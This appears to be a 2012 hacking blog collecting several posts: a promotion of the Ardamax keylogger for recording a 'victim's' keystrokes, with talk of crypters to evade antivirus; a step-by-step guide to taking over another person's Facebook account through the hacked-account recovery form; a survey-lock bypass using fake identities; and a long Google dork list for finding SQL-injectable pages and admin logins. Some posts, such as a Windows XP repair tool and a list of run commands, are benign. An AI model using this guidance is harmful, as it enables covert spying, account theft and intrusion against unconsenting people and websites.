Better than the Best software collection

Ardamax Keylogger (100% working)

2012-11-13T23:28:00.000-08:00

No doubt this is the most viable and flexible key logger on the internet and almost each and everyone knows that.So it was up to me to check how exactly this key logger is good and what are its main drawbacks.As a programmer i was curious to know why this keylogger is very famous.As you all know you know that i coded my keylogger called 541's Keylogger v7.0 which is again a free keylogger.Without wasting much time let me start off with the very basics.

What is a Keylogger ?

Basically it is a program which allows you to receive data from your victim's computer.This data received will be the key strokes entered by his/him on his computer.

What is Ardamax Keylogger ?

Ardamax Keylogger is a keystroke recorder that captures user's activity and saves it to an encrypted log file. The log file can be viewed with the powerful Log Viewer. Use this tool to find out what is happening on your computer while you are away, maintain a backup of your typed data automatically or use it to monitor your kids. Also you can use it as a monitoring device for detecting unauthorised access. Logs can be automatically sent to your e-mail address, access to the keylogger is password protected. Besides, Ardamax Keylogger logs information about the Internet addresses the user has visited.As soon on Ardamax Site

Features:

Email log delivery
FTP delivery
Network delivery
Clipboard logging
Invisible mode
Visual surveillance
Chat monitoring
Security
Application monitoring
Time/Date tracking
Powerful Log Viewer
Small size

Drawbacks:

These are the main drawbacks that i noted in their coding:

Dropping Of Resources: This keylogger in particular drops a few resources which makes it even vulnerable to detection and hence the Anti Viruses don't hesitate in flagging this file as malware and hence it becomes difficult for your victim to download and run the File

Anti-Virus Detection: As stated above the amount of anti viruses picking up the above is high.This is mainly because of a lot of Public Use of the keylogger and also not a Poly Morphic Logger.

File Encryption: One of the most easiest way to FUD ( Fully - Undetected) your keylogger is to use something called a "Crypter".But I tired crpyting their file but it always ends up corrupted and as a result the encryption is not 100% successful.

Apart from these i didn't find anything wrong with the software.If you want to report any problems.Please post them below I'll see to the problem and let the readers know.

Note:The file which I'm linking to is a free version of this software.Once you like it according to your needs then you might as well buy it but you must have a look at the review above to make sure what exactly you can expect from the keylogger.

Thank You for your time !

File Details:

Download: Ardamax Free Keylogger

windows recover full step by step

2012-09-06T14:02:00.001-07:00

as we all know nowadays virus attacks are very common and we have to have lot of problems because of viruses like task manager does not opens,folder options missing, registry has been disabled by administrator,cannot find dll and so on. These are very common problems and can happen with any of us so we must know to fix these problems without formatting your windows XP. Most of the virus infects your basic programs i.e task manager,registry,group policy editor,boot up,folder properties etc. Today i will tell how to Fix windows Xp after virus attack in this article. So guys read on...

There are several free tool in the market that can help you to fix your windows xp after virus attacks but i always come with complete package. Don't worry friends its also a free tool but using this you can recover almost every windows services and functionality within few seconds and that's also without formatting. Why i am telling all this is because we must know how to recover along with how to hack and hacking...

The features of the tool that i have discussed above is called QUICK FIX.

Quick fix is really an outstanding tool. Its an complete solution of a to z windows XP problems. You can recover back from all types of virus attacks using this tool.

Below are some Important Features:

1. Enable Task Manager

2. Enable Registry

3. Enable Folder Options

4. Restore missing run dialog

5. Enable Command Prompt(cmd)

6. Stop My Documents to open at start up

7. Restore Device manager.

8. Fix Delay at start up.

9 Fix Recovery Console

and much more....

So Guys why are you waiting Download Quick Fix and Fix your windows problems wasily in a single click..

DOWNLOAD QUICK FIX:

MEDIAFIRE

remove facebook virus posting on your friends profiles

2012-09-05T14:25:00.002-07:00

If you’re facing the problem with  automatic (nude) video posts on your friends walls, it is being done  through the extension installed on your browser.

So the solution to remove this facebook virus is to remove / uninstall the extension. Extension is named “YouTube Premium“.

Google Chrome: Goto Tools > Extensions and remove the extension youtube premium fromthere

Mozilla Firefox: Goto Tools > Addons > Extensions and remove the addon “youtube premium”

Hopefully this will resolve the issue of facebook virus posting nude video link on your friends walls from your name!

and yes next time think twice before clicking on such links..

Run Commands

2012-09-05T14:24:00.001-07:00

Accessibility Options : access.cpl

Add Hardware: hdwwiz.cpl

Add / Remove Programs: appwiz.cpl

Administrative Tools : control admintools

Automatic Updates: wuaucpl.cpl

Wizard file transfer Bluethooth: fsquirt

Calculator: calc

Certificate Manager: certmgr.msc

Character: charmap

Checking disk : chkdsk

Manager of the album (clipboard) : clipbrd

Command Prompt : cmd

Service components (DCOM) : dcomcnfg

Computer Management : compmgmt.msc

DDE active sharing : ddeshare

Device Manager : devmgmt.msc

DirectX Control Panel (if installed) : directx.cpl

DirectX Diagnostic Utility : dxdiag

Disk Cleanup : cleanmgr

System Information=dxdiag

Disk Defragmenter : dfrg.msc

Disk Management : diskmgmt.msc

Partition manager : diskpart

Display Properties : control desktop

Properties of the display (2) : desk.cpl

Properties display (tab "appearance") : control color

Dr. Watson: drwtsn32

Manager vérirficateur drivers : check

Event Viewer : Eventvwr.msc

Verification of signatures of files: sigverif

Findfast (if present) : findfast.cpl

Folder Options : control folders

Fonts (fonts) : control fonts

Fonts folder windows : fonts

Free Cell ...: freecell

Game Controllers : Joy.cpl

Group Policy (XP Pro) : gpedit.msc

Hearts (card game) : mshearts

IExpress (file generator. Cab) : IExpress

Indexing Service (if not disabled) : ciadv.msc

Internet Properties : inetcpl.cpl

IPConfig (display configuration): ipconfig / all

IPConfig (displays the contents of the DNS cache): ipconfig / displaydns

IPConfig (erases the contents of the DNS cache): ipconfig / flushdns

IPConfig (IP configuration cancels maps): ipconfig / release

IPConfig (renew IP configuration maps) : ipconfig / renew

Java Control Panel (if present) : jpicpl32.cpl

Java Control Panel (if present) : javaws

Keyboard Properties: control keyboard

Local Security Settings : secpol.msc

Local Users and Groups: lusrmgr.msc

Logout: logoff

Microsoft Chat : winchat

Minesweeper (game): winmine

Properties of the mouse: control mouse

Properties of the mouse (2): main.cpl

Network Connections : control NetConnect

Network Connections (2): ncpa.cpl

Network configuration wizard: netsetup.cpl

Notepad : notepad

NView Desktop Manager (if installed): nvtuicpl.cpl

Manager links: packager

Data Source Administrator ODBC: odbccp32.cpl

Screen Keyboard: OSK

AC3 Filter (if installed) : ac3filter.cpl

Password manager (if present): Password.cpl

Monitor performance : perfmon.msc

Monitor performance (2): perfmon

Dialing Properties (phone): telephon.cpl

Power Options : powercfg.cpl

Printers and Faxes : control printers

Private Character Editor : eudcedit

Quicktime (if installed) : QuickTime.cpl

Regional and Language Options: intl.cpl

Editor of the registry : regedit

Remote desktop connection : mstsc

Removable Storage: ntmsmgr.msc

requests the operator to removable storage: ntmsoprq.msc

RSoP (traduction. ..) (XP Pro): rsop.msc

Scanners and Cameras : sticpl.cpl

Scheduled Tasks : control schedtasks

Security Center : wscui.cpl

Console management services: services.msc

shared folders : fsmgmt.msc

Turn off windows : shutdown

Sounds and Audio Devices : mmsys.cpl

Spider (card game): spider

Client Network Utility SQL server : cliconfg

System Configuration Editor : sysedit

System Configuration Utility : msconfig

System File Checker (SFC =) (Scan Now) : sfc / scannow

SFC (Scan next startup): sfc / scanonce

SFC (Scan each démarraget) : sfc / scanboot

SFC (back to default settings): sfc / revert

SFC (purge cache files): sfc / purgecache

SFC (define size CAHC x) : sfc / cachesize = x

System Properties : sysdm.cpl

Task Manager : taskmgr

Telnet client : telnet

User Accounts : nusrmgr.cpl

Utility Manager (Magnifier, etc) : utilman

Windows firewall (XP SP2) : firewall.cpl

Microsoft Magnifier: magnify

Windows Management Infrastructure: wmimgmt.msc

Protection of the accounts database: syskey

Windows update: wupdmgr

Introducing Windows XP (if not erased) : tourstart

Wordpad : write

Date and Time Properties : timedate.cpl

hack any facebook account without NO keyloging pishing

2012-09-05T14:22:00.002-07:00

 How to hack any facebook account without NO keyloging pishing required, PASSWORD HACKING by Karn sahu

How to hack any facebook account easily by Reverting/Reseting pass of your victim NO keyloging pishing required 

Here is one more interesting tip on how to hack a Facebook account by  the method of reverting the password.This method does not involve any  skill or anything just a brain would be enough to get you through this  trick ! Well,you might think that it is impossible but it is actually  true that you can hack any facebook account ! So before we start i would  like to tell you what “Reverting” actually means…

What is Reverting ?

Reverting is the process of resetting a password without the  knowledge of the actual user ! So this is basically a low level of  hacking but it does the job for you !

For more on reverting go here : What exactly is reverting ?

How do I hack my friend’s Facebook ?

Make sure your not logged in to your account.If you are then make sure you sign out and then follow the following methods

1.Go to this link:

http://www.facebook.com/help/contact.php?show_form=hack_login_changed /  http://www.facebook.com/help/contact.php?show_form=hacked_cannot_identify

That is the form that you will be using in order to hack your user.

2.Then in “Your E-mail Address” type your E-mail address.

3.Then apply the following options as in the image below.

4.Once you have done that,You will have a question asking “Email  associated with the compromised account.” – In that just type “No” and  nothing else other than that !

5.In “Your contact email address.” – Type your own email for you to receive the Password Reset Link.

6.In the “Full Name of the Account.” – Type the Name of your victim if you know.If you don’t then:

a.Try finding the Name of the victim by just searching his/her e-mail on Facebook.

b.If that doesn’t work then google the E-mail address of your Victim,that might give you some details.

c.If that also doesn’t work then use the following sites to get them

http://com.lullar.com/  http://www.pipl.com/email/  

So if you follow one of the above methods you should be getting the Full Name of your victim.Now lets move on to the next step

7.”Date Of Birth” – In this column you have to enter the Birthday of  your Victim.If you know him personally then you should be knowing it.If  not you can just social engineer him and somehow make him tell it.Once  you get it you have to enter it in that.

8.”URL (web address) of your compromised profile.” – This is just the  profile URL of your Victim which can be got easily(Usually of the form:  http://www.facebook.com/profile.php?id=99999)

9.Now your all set ! Before you submit the form just make sure you  recheck the whole form if you have done the right thing.Once you do so  just click on “Submit”

10.Thats it ! You have done it ! Now you just have to wait for  Facebook team to look up for your request ! Once they approve it they  will send a link to reset your victim’s Password !

Unlock share-cash within seconds

2012-09-05T14:21:00.003-07:00

Hey guys I have a tutorial for you today. Some of you may already know this and some of don't. The easiest way to download from Share Cash.

Example: Go to Download Page you Click on "Regular Download" & A Popup should show up.. you think i'm screw'd... (BUT UR NOT)

Lets unlock this download!

1.Choose a survey. The easiest way to unlock it is when they food surveys like "which on is better coke or pepsi" something like that.

2. After you clicked it Go to fakenamegenerator.com and Click on "Generate" (must have the country on USA"

3. Now go back to the Survey you chose and fill in the info After that click "SUMMIT". 

4. Now go back to the download page and let it Refresh more than 2 times and the survey will unlock. If it doesn't unlock just try one more time.

SQL DORK LIST

2012-09-05T14:19:00.001-07:00

SQL DORK LIST 

inurl:"id=" & intext:"Warning: mysql_fetch_assoc()

inurl:"id=" & intext:"Warning: mysql_fetch_array()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()

inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:Productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

regards

 prakash janawade

=========================================================

More Search  

=========================================================

inurl:index.php?id= 

 inurl:trainers.php?id= 

 inurl:buy.php?category= 

 inurl:article.php?ID= 

 inurllay_old.php?id= 

 inurl:declaration_more.php?decl_id= 

 inurlageid= 

 inurl:games.php?id= 

 inurlage.php?file= 

 inurl:newsDetail.php?id= 

 inurl:gallery.php?id= 

 inurl:article.php?id= 

 inurl:show.php?id= 

 inurl:staff_id= 

 inurl:newsitem.php?num= 

 inurl:readnews.php?id= 

 inurl:top10.php?cat= 

 inurl:historialeer.php?num= 

 inurl:reagir.php?num= 

 inurltray-Questions-View.php?num= 

 inurl:forum_bds.php?num= 

 inurl:game.php?id= 

 inurl:view_product.php?id= 

 inurl:newsone.php?id= 

 inurl:sw_comment.php?id= 

 inurl:news.php?id= 

 inurl:avd_start.php?avd= 

 inurl:event.php?id= 

 inurlroduct-item.php?id= 

 inurl:sql.php?id= 

 inurl:news_view.php?id= 

 inurl:select_biblio.php?id= 

 inurl:humor.php?id= 

 inurl:aboutbook.php?id= 

 inurl:fiche_spectacle.php?id= 

 inurl:communique_detail.php?id= 

 inurl:sem.php3?id= 

 inurl:kategorie.php4?id= 

 inurl:news.php?id= 

 inurl:index.php?id= 

 inurl:faq2.php?id= 

 inurl:show_an.php?id= 

 inurlreview.php?id= 

 inurl:loadpsb.php?id= 

 inurlpinions.php?id= 

 inurl:spr.php?id= 

 inurlages.php?id= 

 inurl:announce.php?id= 

 inurl:clanek.php4?id= 

 inurlarticipant.php?id= 

 inurl:download.php?id= 

 inurl:main.php?id= 

 inurl:review.php?id= 

 inurl:chappies.php?id= 

 inurl:read.php?id= 

 inurlrod_detail.php?id= 

 inurl:viewphoto.php?id= 

 inurl:article.php?id= 

 inurlerson.php?id= 

 inurlroductinfo.php?id= 

 inurl:showimg.php?id= 

 inurl:view.php?id= 

 inurl:website.php?id= 

 inurl:hosting_info.php?id= 

 inurl:gallery.php?id= 

 inurl:rub.php?idr= 

 inurl:view_faq.php?id= 

 inurl:artikelinfo.php?id= 

 inurl:detail.php?ID= 

 inurl:index.php?= 

 inurlrofile_view.php?id= 

 inurl:category.php?id= 

 inurlublications.php?id= 

 inurl:fellows.php?id= 

 inurl:downloads_info.php?id= 

 inurlrod_info.php?id= 

 inurl:shop.php?do=part&id= 

 inurlroductinfo.php?id= 

 inurl:collectionitem.php?id= 

 inurl:band_info.php?id= 

 inurlroduct.php?id= 

 inurl:releases.php?id= 

 inurl:ray.php?id= 

 inurlroduit.php?id= 

 inurlop.php?id= 

 inurl:shopping.php?id= 

 inurlroductdetail.php?id= 

 inurlost.php?id= 

 inurl:viewshowdetail.php?id= 

 inurl:clubpage.php?id= 

 inurl:memberInfo.php?id= 

 inurl:section.php?id= 

 inurl:theme.php?id= 

 inurlage.php?id= 

 inurl:shredder-categories.php?id= 

 inurl:tradeCategory.php?id= 

 inurlroduct_ranges_view.php?ID= 

 inurl:shop_category.php?id= 

 inurl:tran******.php?id= 

 inurl:channel_id= 

 inurl:item_id= 

 inurl:newsid= 

 inurl:trainers.php?id= 

 inurl:news-full.php?id= 

 inurl:news_display.php?getid= 

 inurl:index2.php?option= 

 inurl:readnews.php?id= 

 inurl:top10.php?cat= 

 inurl:newsone.php?id= 

 inurl:event.php?id= 

 inurlroduct-item.php?id= 

 inurl:sql.php?id= 

 inurl:aboutbook.php?id= 

 inurl:review.php?id= 

 inurl:loadpsb.php?id= 

 inurl:ages.php?id= 

 inurl:material.php?id= 

 inurl:clanek.php4?id= 

 inurl:announce.php?id= 

 inurl:chappies.php?id= 

 inurl:read.php?id= 

 inurl:viewapp.php?id= 

 inurl:viewphoto.php?id= 

 inurl:rub.php?idr= 

 inurl:galeri_info.php?l= 

 inurl:review.php?id= 

 inurl:iniziativa.php?in= 

 inurl:curriculum.php?id= 

 inurl:labels.php?id= 

 inurl:story.php?id= 

 inurl:look.php?ID= 

 inurl:newsone.php?id= 

 inurl:aboutbook.php?id= 

 inurl:material.php?id= 

 inurlpinions.php?id= 

 inurl:announce.php?id= 

 inurl:rub.php?idr= 

 inurl:galeri_info.php?l= 

 inurl:tekst.php?idt= 

 inurl:newscat.php?id= 

 inurl:newsticker_info.php?idn= 

 inurl:rubrika.php?idr= 

 inurl:rubp.php?idr= 

 inurlffer.php?idf= 

 inurl:art.php?idm= 

 inurl:title.php?id= 

 inur l: info.php?id= 

 inurl : pro.php?id= 

 inurl:index.php?id= 

 inurl:trainers.php?id= 

 inurl:buy.php?category= 

 inurl:article.php?ID= 

 inurllay_old.php?id= 

 inurl:declaration_more.php?decl_id= 

 inurlageid= 

 inurl:games.php?id= 

 inurlage.php?file= 

 inurl:newsDetail.php?id= 

 inurl:gallery.php?id= 

 inurl:article.php?id= 

 inurl:show.php?id= 

 inurl:staff_id= 

 inurl:newsitem.php?num= 

 inurl:readnews.php?id= 

 inurl:top10.php?cat= 

 inurl:historialeer.php?num= 

 inurl:reagir.php?num= 

 inurltray-Questions-View.php?num= 

 inurl:forum_bds.php?num= 

 inurl:game.php?id= 

 inurl:view_product.php?id= 

 inurl:newsone.php?id= 

 inurl:sw_comment.php?id= 

 inurl:news.php?id= 

 inurl:avd_start.php?avd= 

 inurl:event.php?id= 

 inurlroduct-item.php?id= 

 inurl:sql.php?id= 

 inurl:news_view.php?id= 

 inurl:select_biblio.php?id= 

 inurl:humor.php?id= 

 inurl:aboutbook.php?id= 

 inurl:fiche_spectacle.php?id= 

 inurl:communique_detail.php?id= 

 inurl:sem.php3?id= 

 inurl:kategorie.php4?id= 

 inurl:news.php?id= 

 inurl:index.php?id= 

 inurl:faq2.php?id= 

 inurl:show_an.php?id= 

 inurlreview.php?id= 

 inurl:loadpsb.php?id= 

 inurlpinions.php?id= 

 inurl:spr.php?id= 

 inurlages.php?id= 

 inurl:announce.php?id= 

 inurl:clanek.php4?id= 

 inurlarticipant.php?id= 

 inurl:download.php?id= 

 inurl:main.php?id= 

 inurl:review.php?id= 

 inurl:chappies.php?id= 

 inurl:read.php?id= 

 inurlrod_detail.php?id= 

 inurl:viewphoto.php?id= 

 inurl:article.php?id= 

 inurlerson.php?id= 

 inurlroductinfo.php?id= 

 inurl:showimg.php?id= 

 inurl:view.php?id= 

 inurl:website.php?id= 

 inurl:hosting_info.php?id= 

 inurl:gallery.php?id= 

 inurl:rub.php?idr= 

 inurl:view_faq.php?id= 

 inurl:artikelinfo.php?id= 

 inurl:detail.php?ID= 

 inurl:index.php?= 

 inurlrofile_view.php?id= 

 inurl:category.php?id= 

 inurlublications.php?id= 

 inurl:fellows.php?id= 

 inurl:downloads_info.php?id= 

 inurlrod_info.php?id= 

 inurl:shop.php?do=part&id= 

 inurlroductinfo.php?id= 

 inurl:collectionitem.php?id= 

 inurl:band_info.php?id= 

 inurlroduct.php?id= 

 inurl:releases.php?id= 

 inurl:ray.php?id= 

 inurlroduit.php?id= 

 inurlop.php?id= 

 inurl:shopping.php?id= 

 inurlroductdetail.php?id= 

 inurlost.php?id= 

 inurl:viewshowdetail.php?id= 

 inurl:clubpage.php?id= 

 inurl:memberInfo.php?id= 

 inurl:section.php?id= 

 inurl:theme.php?id= 

 inurlage.php?id= 

 inurl:shredder-categories.php?id= 

 inurl:tradeCategory.php?id= 

 inurlroduct_ranges_view.php?ID= 

 inurl:shop_category.php?id= 

 inurl:tran******.php?id= 

 inurl:channel_id= 

 inurl:item_id= 

 inurl:newsid= 

 inurl:trainers.php?id= 

 inurl:news-full.php?id= 

 inurl:news_display.php?getid= 

 inurl:index2.php?option= 

 inurl:readnews.php?id= 

 inurl:top10.php?cat= 

 inurl:newsone.php?id= 

 inurl:event.php?id= 

 inurlroduct-item.php?id= 

 inurl:sql.php?id= 

 inurl:aboutbook.php?id= 

 inurl:review.php?id= 

 inurl:loadpsb.php?id= 

 inurl:ages.php?id= 

 inurl:material.php?id= 

 inurl:clanek.php4?id= 

 inurl:announce.php?id= 

 inurl:chappies.php?id= 

 inurl:read.php?id= 

 inurl:viewapp.php?id= 

 inurl:viewphoto.php?id= 

 inurl:rub.php?idr= 

 inurl:galeri_info.php?l= 

 inurl:review.php?id= 

 inurl:iniziativa.php?in= 

 inurl:curriculum.php?id= 

 inurl:labels.php?id= 

 inurl:story.php?id= 

 inurl:look.php?ID= 

 inurl:newsone.php?id= 

 inurl:aboutbook.php?id= 

 inurl:material.php?id= 

 inurlpinions.php?id= 

 inurl:announce.php?id= 

 inurl:rub.php?idr= 

 inurl:galeri_info.php?l= 

 inurl:tekst.php?idt= 

 inurl:newscat.php?id= 

 inurl:newsticker_info.php?idn= 

 inurl:rubrika.php?idr= 

 inurl:rubp.php?idr= 

 inurlffer.php?idf= 

 inurl:art.php?idm= 

 inurl:title.php?id= 

 inurl:shop+php?id+site:fr 

 "inurl:admin.asp" 

 "inurl:login/admin.asp" 

 "inurl:admin/login.asp" 

 "inurl:adminlogin.asp" 

 "inurl:adminhome.asp" 

 "inurl:admin_login.asp" 

 "inurl:administratorlogin.asp" 

 "inurl:login/administrator.asp" 

 "inurl:administrator_login.asp" 

 inurl:"id=" & intext:"Warning: mysql_fetch_assoc() 

 inurl:"id=" & intext:"Warning: mysql_fetch_array() 

 inurl:"id=" & intext:"Warning: mysql_num_rows() 

 inurl:"id=" & intext:"Warning: session_start() 

 inurl:"id=" & intext:"Warning: getimagesize() 

 inurl:"id=" & intext:"Warning: is_writable() 

 inurl:"id=" & intext:"Warning: getimagesize() 

 inurl:"id=" & intext:"Warning: Unknown() 

 inurl:"id=" & intext:"Warning: session_start() 

 inurl:"id=" & intext:"Warning: mysql_result() 

 inurl:"id=" & intext:"Warning: pg_exec() 

 inurl:"id=" & intext:"Warning: mysql_result() 

 inurl:"id=" & intext:"Warning: mysql_num_rows() 

 inurl:"id=" & intext:"Warning: mysql_query() 

 inurl:"id=" & intext:"Warning: array_merge() 

 inurl:"id=" & intext:"Warning: preg_match() 

 inurl:"id=" & intext:"Warning: ilesize() 

 inurl:"id=" & intext:"Warning: filesize() 

 inurl:"id=" & intext:"Warning: require() 

 inurl:index.php?id= 

 inurl:trainers.php?id= 

 inurl:login.asp 

 index of:/admin/login.asp 

 inurl:buy.php?category= 

 inurl:article.php?ID= 

 inurl:play_old.php?id= 

 inurl:declaration_more.php?decl_id= 

 inurl:pageid= 

 inurl:games.php?id= 

 inurl:page.php?file= 

 inurl:newsDetail.php?id= 

 inurl:gallery.php?id= 

 inurl:article.php?id= 

 inurl:show.php?id= 

 inurl:staff_id= 

 inurl:newsitem.php?num= 

 inurl:readnews.php?id= 

 inurl:top10.php?cat= 

 inurl:historialeer.php?num= 

 inurl:reagir.php?num= 

 inurl:Stray-Questions-View.php?num= 

 inurl:forum_bds.php?num= 

 inurl:game.php?id= 

 inurl:view_product.php?id= 

 inurl:newsone.php?id= 

 inurl:sw_comment.php?id= 

 inurl:news.php?id= 

 inurl:avd_start.php?avd= 

 inurl:event.php?id= 

 inurl:product-item.php?id= 

 inurl:sql.php?id= 

 inurl:news_view.php?id= 

 inurl:select_biblio.php?id= 

 inurl:humor.php?id= 

 inurl:aboutbook.php?id= 

 inurl:ogl_inet.php?ogl_id= 

 inurl:fiche_spectacle.php?id= 

 inurl:communique_detail.php?id= 

 inurl:sem.php3?id= 

 inurl:kategorie.php4?id= 

 inurl:news.php?id= 

 inurl:index.php?id= 

 inurl:faq2.php?id= 

 inurl:show_an.php?id= 

 inurl:preview.php?id= 

 inurl:loadpsb.php?id= 

 inurl:opinions.php?id= 

 inurl:spr.php?id= 

 inurl:pages.php?id= 

 inurl:announce.php?id= 

 inurl:clanek.php4?id= 

 inurl:participant.php?id= 

 inurl:download.php?id= 

 inurl:main.php?id= 

 inurl:review.php?id= 

 inurl:chappies.php?id= 

 inurl:read.php?id= 

 inurl:prod_detail.php?id= 

 inurl:viewphoto.php?id= 

 inurl:article.php?id= 

 inurl:person.php?id= 

 inurl:productinfo.php?id= 

 inurl:showimg.php?id= 

 inurl:view.php?id= 

 inurl:website.php?id= 

 inurl:hosting_info.php?id= 

 inurl:gallery.php?id= 

 inurl:rub.php?idr= 

 inurl:view_faq.php?id= 

 inurl:artikelinfo.php?id= 

 inurl:detail.php?ID= 

 inurl:index.php?= 

 inurl:profile_view.php?id= 

 inurl:category.php?id= 

 inurl:publications.php?id= 

 inurl:fellows.php?id= 

 inurl:downloads_info.php?id= 

 inurl:prod_info.php?id= 

 inurl:shop.php?do=part&id= 

 inurl:productinfo.php?id= 

 inurl:collectionitem.php?id= 

 inurl:band_info.php?id= 

 inurl:product.php?id= 

 inurl:releases.php?id= 

 inurl:ray.php?id= 

 inurl:produit.php?id= 

 inurl:produit.php?id=+site:fr 

 inurl:pop.php?id= 

 inurl:shopping.php?id= 

 inurl:productdetail.php?id= 

 inurl:post.php?id= 

 inurl:viewshowdetail.php?id= 

 inurl:clubpage.php?id= 

 inurl:memberInfo.php?id= 

 inurl:section.php?id= 

 inurl:theme.php?id= 

 inurl:page.php?id= 

 inurl:shredder-categories.php?id= 

 inurl:tradeCategory.php?id= 

 inurl:product_ranges_view.php?ID= 

 inurl:shop_category.php?id= 

 inurl:transcript.php?id= 

 inurl:channel_id= 

 inurl:item_id= 

 inurl:newsid= 

 inurl:trainers.php?id= 

 inurl:news-full.php?id= 

 inurl:news_display.php?getid= 

 inurl:index2.php?option= 

 inurl:readnews.php?id= 

 inurl:top10.php?cat= 

 inurl:newsone.php?id= 

 inurl:event.php?id= 

 inurl:product-item.php?id= 

 inurl:sql.php?id= 

 inurl:aboutbook.php?id= 

 inurl:preview.php?id= 

 inurl:loadpsb.php?id= 

 inurl:pages.php?id= 

 inurl:material.php?id= 

 inurl:clanek.php4?id= 

 inurl:announce.php?id= 

 inurl:chappies.php?id= 

 inurl:read.php?id= 

 inurl:viewapp.php?id= 

 inurl:viewphoto.php?id= 

 inurl:rub.php?idr= 

 inurl:galeri_info.php?l= 

 inurl:review.php?id= 

 inurl:iniziativa.php?in= 

 inurl:curriculum.php?id= 

 inurl:labels.php?id= 

 inurl:story.php?id= 

 inurl:look.php?ID= 

 inurl:newsone.php?id= 

 inurl:aboutbook.php?id= 

 inurl:material.php?id= 

 inurl:opinions.php?id= 

 inurl:announce.php?id= 

 inurl:rub.php?idr= 

 inurl:galeri_info.php?l= 

 inurl:tekst.php?idt= 

 inurl:newscat.php?id= 

 inurl:newsticker_info.php?idn= 

 inurl:rubrika.php?idr= 

 inurl:rubp.php?idr= 

 inurl:offer.php?idf= 

 inurl:art.php?idm= 

 inurl:title.php?id= 

 inurl:index.php?id= 

 inurl:trainers.php?id= 

 inurl:buy.php?category= 

 inurl:article.php?ID= 

 inurllay_old.php?id= 

 inurl:declaration_more.php?decl_id= 

 inurlageid= 

 inurl:games.php?id= 

 inurlage.php?file= 

 inurl:newsDetail.php?id= 

 inurl:gallery.php?id= 

 inurl:article.php?id= 

 inurl:show.php?id= 

 inurl:staff_id= 

 inurl:newsitem.php?num= 

 inurl:readnews.php?id= 

 inurl:top10.php?cat= 

 inurl:historialeer.php?num= 

 inurl:reagir.php?num= 

 inurltray-Questions-View.php?num= 

 inurl:forum_bds.php?num= 

 inurl:game.php?id= 

 inurl:view_product.php?id= 

 inurl:newsone.php?id= 

 inurl:sw_comment.php?id= 

 inurl:news.php?id= 

 inurl:avd_start.php?avd= 

 inurl:event.php?id= 

 inurlroduct-item.php?id= 

 inurl:sql.php?id= 

 inurl:news_view.php?id= 

 inurl:select_biblio.php?id= 

 inurl:humor.php?id= 

 inurl:aboutbook.php?id= 

 inurl:fiche_spectacle.php?id= 

 inurl:communique_detail.php?id= 

 inurl:sem.php3?id= 

 inurl:kategorie.php4?id= 

 inurl:news.php?id= 

 inurl:index.php?id= 

 inurl:faq2.php?id= 

 inurl:show_an.php?id= 

 inurlreview.php?id= 

 inurl:loadpsb.php?id= 

 inurlpinions.php?id= 

 inurl:spr.php?id= 

 inurlages.php?id= 

 inurl:announce.php?id= 

 inurl:clanek.php4?id= 

 inurlarticipant.php?id= 

 inurl:download.php?id= 

 inurl:main.php?id= 

 inurl:review.php?id= 

 inurl:chappies.php?id= 

 inurl:read.php?id= 

 inurlrod_detail.php?id= 

 inurl:viewphoto.php?id= 

 inurl:article.php?id= 

